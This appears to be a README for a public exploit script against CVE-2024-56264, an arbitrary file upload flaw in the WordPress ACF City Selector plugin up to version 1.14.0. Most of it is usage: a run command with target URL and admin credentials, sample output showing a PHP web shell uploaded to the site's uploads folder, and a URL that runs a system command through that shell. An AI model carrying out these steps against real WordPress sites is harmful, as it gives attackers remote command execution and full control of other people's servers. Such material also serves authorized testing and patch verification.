
WordPress ACF City Selector plugin <= 1.14.0 - Arbitrary File Upload vulnerability
This repository contains an exploit for CVE-2024-56264, which is an Arbitrary File Upload vulnerability found in the WordPress ACF City Selector plugin (versions <= 1.14.0). This vulnerability allows an attacker to upload a malicious PHP file (web shell) to a vulnerable WordPress instance and execute arbitrary commands on the server.
<= 1.14.0The ACF City Selector plugin fails to properly validate uploaded files, allowing attackers to bypass restrictions and upload arbitrary PHP files. Once a malicious PHP file is uploaded, an attacker can execute system commands remotely, leading to full server compromise.
Ensure the following are installed before running the script:
requests module (Install using: pip install requests)You can install all required dependencies using:
pip install -r requirements.txt
Running the exploit:
usage: CVE-2024-56264.py [-h] --url URL --username USERNAME --password PASSWORD
WordPress ACF City Selector plugin <= 1.14.0 - Arbitrary File Upload vulnerability
options:
-h, --help show this help message and exit
--url URL Website base URL (e.g., http://192.168.100.74/wordpress)
--username USERNAME WordPress username
--password PASSWORD WordPress password
python CVE-2024-56264.py --url http://192.168.100.74:888/wordpress --username admin --password admin
Upon successful exploitation, you should see:
[+] Detected plugin version: 1.14.0
[+] Vulnerable version detected! Proceeding with exploitation.
[+] Logged in successfully.
[+] Extracted nonce: abc1234
[+] Shell uploaded successfully: http://wordpress/wp-content/uploads/acfcs/q.php
If successful, access the uploaded shell via:
http://wordpress/wp-content/uploads/acfcs/q.php?cmd=whoami
This allows remote command execution on the server.
This script is intended only for educational and authorized security testing purposes. Unauthorized use is illegal and may result in severe consequences. The author is not responsible for any misuse of this exploit.